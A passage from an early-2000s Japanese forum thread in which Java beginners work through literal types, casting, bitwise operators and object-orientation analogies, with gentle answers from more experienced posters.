Javaスレらしい「名無し」を考えてるんだけど・・・良さゲなの思いつかない。 論理演算子を使った具体例ねぇ。 具体例って言われると、なんか簡単なの思いつかないよね。 論理積(andな)とかは、フィルターというか、マスクというか、そういうのに使いそうだよね。 身近な例では、サブネットマスクとかさ。 うーん、例えば、絵描きツールとかで、FE8C5Aとかって色があったとして、 その赤色の要素(? 美術の専門的な事は全然わからない。雰囲気を掴んでくれ)だけを取り除きたいって時、 1111 1110 1000 1100 0101 1010 (FE8C5A) & 0000 0000 1111 1111 1111 1111 (赤色(FF0000)を取り除く) 結果、 0000 0000 1000 1100 0101 1010 (008C5A) って、なんだか普通にアタマを00ってすればいいじゃねぇか、ってかんじだけど、 これは真っ赤(FF0000)で、対象が1ピクセルだからそう思うのであって、 微妙な色だったら、そしてマスクをかける範囲が広かったら・・・って考えれば・・・ ・・・すまん、誰かもっといい例を出してくれ。 排他的論理和とかは、なんかon/offのスイッチとかに使えそうだよね。 boolean myFlag = false; myFlag ^= true; とかってさ。 あ、これは簡単そう。暇ができたら何か組んでみよー。
とりあえず>626の理解状況を生中継でお送りします。 >618の >型指定ぜずに数字をそのまま書いた場合、 >整数はint型、浮動小数点型はdouble型と >判断される(桁数が少なくても!) がカギ? long A=123; とすると、コンピューターは 「123はlong型のAという箱に入っているint型の数」 と理解するのかな? (いや、整数の定数は箱の型に合わせて自動で変換されるんだよなぁ…ん〜?) >final long LONG_VAL = 123; >int i = (int)LONG_VAL; > >(最初にintだって言ってるのに、なぜわざわざキャストせねばならんのだ?) これは、箱(型)の容量が小さいから 「わざわざキャスト」しないと入らない、ってことかなぁ…? 逆にして…? intだとコンピュータが思っている数123… final long A = 123; コンピュータの言い分「あれ? int型じゃないの?」 (Aという箱の型は見てない) 識別子Lをつけて final long A = 123L; コンピュータの言い分「ああ、Lがついてるってことはlongなのね」 (やっぱりAという箱の型は見てない) ってことなのかな。
>int型をlong型に代入してるから、自動で拡張変換がかかって分かりにくくなるわけだ。 > >逆にして考えてみよう。 ん? この文はつまり、long型の数をint型に入れてみよう、ってことか。 すると… long型の数はint型には入らないよな、そりゃあ…
(参考書を見る)なに、 long A = 123; でも問題ないのか。問題あるのはfloat型のみ…とあるな。 「明確に示さなくても、自動的に変換される」…。 となると… Lって…いわば目印!? floatの時のみ必ず付けろ、っていう感じの…。 整数のデフォルトはint→longはintより容量が大きいから自動変換が働く よってべつにLを付けなくてもいい 少数のデフォルトはdouble→floatはdoubleより容量が小さいので double(デフォルト型)とコンピュータに思われている数をfloatに入れるには F(f)をつけるか、キャストで小さく指定しないとダメ ひょっとして、小数のデフォルトがdoubleなのがすべての原因なのかー!?
632 :
シンボルを解釈処理できません :01/10/31 03:55 ID:hln4wLNl
やっぱこっちだな。 >long A=123; >とすると、コンピューターは >「123はlong型のAという箱に入っているint型の数」 >と理解するのかな? ごめん、言葉足らずだった? 「123はint型」であって、それをlong型に代入した時、コンパイラが暗黙のうちに自動的にlong型に変換してるのよ。 Javaの言語仕様だね。
となると>629は… final long A = 123; コンピュータの言い分「あれ? int型じゃなくてlong型?」 (123だけならintだと思っていたが、Aという箱の型を見るとlongだった。 しかたないのでとりあえず数の型をlongに修正) 識別子Lをつけると final long A = 123L; コンピュータの言い分「ああ、Lがついてるってことは間違いなくlongなのね」 (Aという箱の型(long)通りに人間が数を宣言して(Lをつけて)きたので安心) かな?
sage忘れアーンド行き違い。 なんか、形になってきてるね。 頑張れ。僕はもう寝るが。
>632 >633でオッケーでしょうか。
あらら。
>634シンボルを解釈処理できません 氏 おやすみなさい。 実況再開。 ということは、おおもとの>609を考えてみよう。 >// 変数を定義する。 >float GEKKYU, BONUS_RITSU, MONTH_PER_YEAR, ZEI_RITSU; >GEKKYU = 200000; >BONUS_RITSU = 3; >MONTH_PER_YEAR = 12; >ZEI_RITSU = 0.2;
もうちょっと付き合おーっと。 おもしろいから。
>float GEKKYU, BONUS_RITSU, MONTH_PER_YEAR, ZEI_RITSU; コンピューターの声「はい、ZEI_RITSUにはfloat型の小数が来るんですね。」 (最後尾にFかfのついた数が入力されると思っている) >ZEI_RITSU = 0.2; コンピューターの声「はい、ZEI_RITSUに0.2を…って、えぇぇ!? 0.2!? 0.2はdouble型の数なんだけど…Fとかf付いてないし…」 (Fやfがないとコンピューターはdoubleだと思う) コンパイル >精度が落ちている可能性 >ZEI_RITSU = 0.2 コンピューターの声 ____ / \ /______| ‖∧ ∧¶ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ .( ゚Д゚)/ < float型の容器にdouble型の小数は入らねぇよゴルァ!! ./ / \_____________ 〈 ( .∫ヽ__) __ .U U__ / ― ― | | - - | | (6 > | | ┏━┓| / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ | ┃─┃| < 小数にはFかfをつけないとfloat型と認識しねえんだぜ | \ ┃ ┃/ \________ |  ̄  ̄|
以上、生中継でお送りしました。 提供:翔泳社
642 :
ワサモ :01/10/31 04:34 ID:g/qBnZe3
いい感じになってきましたが、残念ながら今日はここまで。もう寝ます。 続きは明日(たぶん)。さよならあぁ …明日になったらこのスレが消えてたりして…(w
643 :
◎ :01/10/31 19:23 ID:OzZ9cQNm
私もよいと思います、頑張って下さいネ。 Javaは比較的、型付けが強い言語です。 いちいち型を意識するのは面倒かもしれませんが、 コンパイル時にうっかりミスを検出できるので 実行時のバグを出しにくい利点があるのですよ。
644 :
Java厨房 :01/11/02 04:41 ID:w3Ooy2Ae
先生!質問です 32bitと64bitは、なにが違うんですか?
645 :
. :01/11/02 08:37 ID:5d64h8LM
>644 見た通り bit の数。ってか Java と関係ないし。
646 :
◎ :01/11/02 23:32 ID:VBsB7UiR
647 :
ノースマン :01/11/03 01:51 ID:if/TZkk+
いつもいつも◎さんの適切なご指導 には感謝しております。
648 :
Java厨房 :01/11/03 21:00 ID:lSgZJGze
649 :
Java厨房 :01/11/03 22:42 ID:cyB5geaY
>>646 先生!そのHP全部読みました。
とってもためになりました。ありがとう。
650 :
◎ :01/11/03 23:18 ID:OwNUI3Fr
>>647 これからもよろしくお願いしますネ。
>>649 そうですかリンクしてよかったです、というか◎でよいですよ(w
651 :
age :01/11/07 00:29 ID:NFoi6xEN
age
>>22 おれ今日はじめてこの板来たんだけどそれたまたま作ってるよ。
今年中の完成が目標なんだけどできるかどうかわからない。
完成したらどっかにあっぷします。
653 :
:01/11/11 00:00 ID:dFYKrssT
Javaワッショイ!! \\ Linuxワッショイ!! // + + \\ WinXP+C#よりもLinux+Javaワッショイ!!/+ + . + /■\ /■\ /■\ + ( ´∀`∩(´∀`∩)( ´∀`) + (( (つ ノ(つ 丿(つ つ )) + ヽ ( ノ ( ヽノ ) ) ) (_)し' し(_) (_)_)
というカキコをWindowsから行う653であった ってここダメ板だったか
655 :
653 :01/11/11 01:32 ID:dFYKrssT
M$信者なのはWindowsMeまでです。 WindowsXPは買わない。 Linuxマンセー!
656 :
_ :01/11/11 02:03 ID:R5l3h1tv
素朴な質問なんですが、<a href>などのネットで一般的に使われ ているタグも、一種のプログラミング言語なんですか?
657 :
なな :01/11/11 02:22 ID:KHwgusmv
プログラムではないけど言語。
658 :
_ :01/11/11 02:34 ID:R5l3h1tv
プログラミング言語はいろいろ種類あるのに、タグは何で統一されてるの?
659 :
:01/11/11 02:55 ID:1oSZ8F9v
されてないべよ
統一されてる、されてない以前に、根本の部分で間違ってない? よくわからんけど。 「タグ」は言語じゃないでしょ。 そういう意味じゃなかったとしても、HTMLだけがマークアップ言語ではないと思われるので、やっぱ間違ってると思う。 HTMLには「繰り返し処理」がないから、プログラミング言語ではない。 という理屈をなんかの本で読んだ気がするが、個人的にはこれ違うと思う。
すごい遅スレですね・・・でも、皆さん頑張ってください。応援してます。
662 :
Java厨房 :01/11/11 12:58 ID:K34OPQZp
◎先生!質問です。 オブジェクトってなんですか? うんこさんが買った、「やさしいJava」を立読みしても分かりませんでした。 おいらのレベルは、継承を覚えた程度のレベルです。
663 :
Java厨房 :01/11/11 16:17 ID:xLJzlHkN
いままで、オブジェクトは何となく遣ってました。
664 :
:01/11/11 18:33 ID:KcHNNYhT
オブジェクトは何となくで良い 使うだけなら完全な理解は要らない 人に説明できるまでに理解を深めるのは俺には一生無理かも知れんなあ
665 :
ワサモ :01/11/12 23:35 ID:DbICe/73
"t1 = System.currentTimeMills();" と、間違って入力した後コンパイルすると 「System.」の"."に印がついてエラーメッセージが出ました。 (正しくは "System.currentTimeMillis") ^ 「Mills」が指摘されず、ドットが指摘されたというのが謎。
666 :
ワサモ :01/11/12 23:37 ID:DbICe/73
また^間違えた… スペースの使い方ってムズイね。
667 :
:01/11/12 23:43 ID:G66LqeOq
>>665 そういうメソッドはSystemには無いよ、って意味で
ドットを指摘するのでは
668 :
いっぽ :01/11/13 01:43 ID:4UOkEdxh
僕も参加します. 今の所「独習java」の1章を読んでます. まずみなさんに追いつけるよう頑張ります. よろしくお願いします.
669 :
◎ :01/11/14 01:10 ID:6RaMcg4e
>>656 手続きを記したものではないので「プログラム」ではないと思いますヨ。
>>662 オブジェクト指向のオブジェクトは状態と振る舞いを持った何らかの実体を指します。
たとえばテレビは今のチャンネルという状態とチャンネルを変更という振る舞いを持っていますよね。
Javaでは状態をインスタンス変数、振る舞いはメソッドで表します。
class TV {
int channel;
int setChannel(int channel) {
this.channel = channel;
}
}
このTVクラスのインスタンス(コンピュータのメモリ上にある実体)一つ一つがオブジェクトです。
でも私も今は何となくでよいと思いますよ。
>>665 >667さんがおっしゃった通り
Class.method();
の「method()」が見つかりませんよという意味ですネ。
>>668 頑張って下さい。
670 :
ノースマン :01/11/14 03:09 ID:HSQ7LdPI
>>662 (オブジェクトってなんですか?)
オブジェクト志向についてはこれは私も未だ、
きちんと理解できていませんが、なんとなく大きな建築工事現場に似ているかな?
とか思っていました。
電卓のプログラム=マンション工事現場;
とすると
電卓の形を表示するプログラム=物品納入業者
入力するプログラム =基礎工事業者
計算するプログラム =本体工事業者
表示するプログラム =仕上げ工事業者
(実際はもっと細かい)
チョット強引ですがこう考えて頂きますと、
実際、現場を仕上げるには業者を決めて現場に連れてこなくてはなりません。
JAVAではそのことをインスタンス化すると言っている様です。
JAVAではnewと言う言葉を使ってインスタンス化するらしいですが
そのまま建築屋に当てはめると・・・・・
仕上業者 (有)山田仕上工業 = new 仕上業者( );
これで、(有)山田仕上工業さんが現場に来てくれて仕上工事をやってくれます。
この現場に来てくれた山田さんのことをJAVAではオブジェクトと
言っているみたいです。
(仕上業者=class名、(有)山田仕上工業=インスタンス名
現場につれてくる=パソコンのメモリーに読み込む)
この様に1つの現場に多くの種類の業者さんを呼んで建物を完成させる
のがオブジェクト志向のプログラミングに近いと理解しているのですが
・・・的外れだったらどうしよう・・・・(〜〜)
671 :
Java厨房 :01/11/14 13:47 ID:MefAlQgy
>>◎先生,ノースマン先生,_先生 先生たち、教えてくれてありがと。 おいらの理解力がないから、理解できなかった。スマソ
672 :
ノースマン :01/11/14 23:53 ID:3U9A9y3b
>>671さん 人の作ったプログラム、をちょっとづづ改造したりしていると、 そのうち、なんとなく、分ってくると思いますよ。 私も、勉強中ですので一緒に頑張りましょう!!
673 :
ぽてちん :01/11/15 00:10 ID:qXBp5r/H
ジャヴァは何ができますか? 自分のイメージだとHPをちょっといじくる事しか思い浮かばないんすけど。
674 :
いっぽ :01/11/15 07:39 ID:Ai3ayxpB
Integer(Sring s) Integerコンストラクタ Integer.decode(String s) 静的メソッド Integer.valueOf(String s) 同上 同じ働きをする物が3つもあるよ(;´Д`)
675 :
◎ :01/11/16 14:14 ID:50r9ojWG
>>670 > 現場につれてくる=パソコンのメモリーに読み込む)
ここは「メモリーを確保する」の方が良いかもしれません。
>この様に1つの現場に多くの種類の業者さんを呼んで建物を完成させる
業者(オブジェクト)の責任が明確なのが良いですよね。
>>671 そんなこと無いス、今はnewしてメソッドが呼び出せたら十分だと思います。
>>673 Javaはアプレットのほかにも他のプログラミング言語で出来るようなことが出来ますヨ。
>>674 10進数の文字列ではそう見えますが16進数や2進数などを扱おうとすると
違いが見えてくると思います。
676 :
じゃばじゃば :01/11/17 00:08 ID:9B59SqEN
SunのJAVA認定資格ってむずかしいのかな?
677 :
深海魚 :01/11/17 00:29 ID:b1xRc9H3
statementがイマイチわからないっす。
>676 vendor試験なんて受けたことが無い僕が語るのもおかしいけど・・・ なんとなくで眺受けめてるvendor試験のMLによると、今年の夏あたりから試験の傾向が変ったんだってさ。 昔みたいに iStudyと全く同じ問題が出るから、iStudyと独習Javaやってりゃウマー なんて原付免許取得みたいな事が無くなったらしい。全く違う問題が出てたって。 難易度は上がって、それに伴い合格ラインが70%から60%に下がったとかなんとか。 ま、なんだかんだ言っても基本は同じらしいから、ちゃんとお勉強してればなんとかなるらしい。 傾向が変っても、ただ全く同じ問題が出ないってだけで、iStudyは有効らしいし、これからiStudy側も修正を加えていくだろうし。 あ、スレッド系が多数出題って話もちょっと小耳に挟んだ。 て、受けた事も無いのに聞きかじりの情報を流してごめんなさい。 僕も気が向いたらてみようとか思ってるから、受けたら感想とか欲しい気がするけど、まぁそういうのはこのスレらしくないから別にいいか・・・
679 :
じゃばじゃば :01/11/17 09:50 ID:9B59SqEN
>678 貴重な情報、ありがとうございます。 やっぱりiStudyは有効みたいですね。 難易度が上がったとのことなので基本から勉強したいと思います…。
680 :
ノースマン :01/11/19 02:33 ID:wLwPjK/q
>>◎
(
>>670 )
> 現場につれてくる=パソコンのメモリーに読み込む)
>こは「メモリーを確保する」の方が良いかもしれません
ご指摘有難うございます。
実は、ぶっちゃけ私は、建築学科出身でコンピューターの基礎がイマイチ
分かっておりません。
う〜ん、難しい・・・
681 :
Java厨房 :01/11/22 05:45 ID:RbVrq9eG
◎先生!質問です。 HSPは、画像のサイズが4の倍数じゃなきゃ、うまく表示できません。 4の倍数じゃなきゃ読み込めないのは、高速化のためです。と書いてますが なんで、4の倍数だったら高速になるんですか?
682 :
:01/11/22 08:54 ID:cKteaZ27
ずーとるび=ぷーみん
683 :
いっぽ :01/11/22 14:49 ID:QH/SHHqQ
>>190 >
> public class AssignmentProblem {
>
> public static void main(String args[]) {
> byte b1 = 1;
> byte b2 = 2;
> int b3 = b1 * b2;
> System.out.println(b3);
> }
> }
> 掛け算すると int型じゃないと受け入れないのかな〜。
> これで通ったけど。
byte b3 = (byte)(b1 * b2);で通りましたよ.
b1 * b2に括弧をつけないとbyteはb1だけにかかるのかな.
684 :
いっぽ :01/11/22 14:51 ID:QH/SHHqQ
685 :
◎ :
01/11/24 08:22 ID:F9avltoD >>681 HSPはよく分からないです、ごめんなさい。
ただコンピュータは2の倍数と相性が良いのですよ。
たとえば乗除算の替わりにシフト命令を使って
2のn乗による乗除算を高速化出来ます。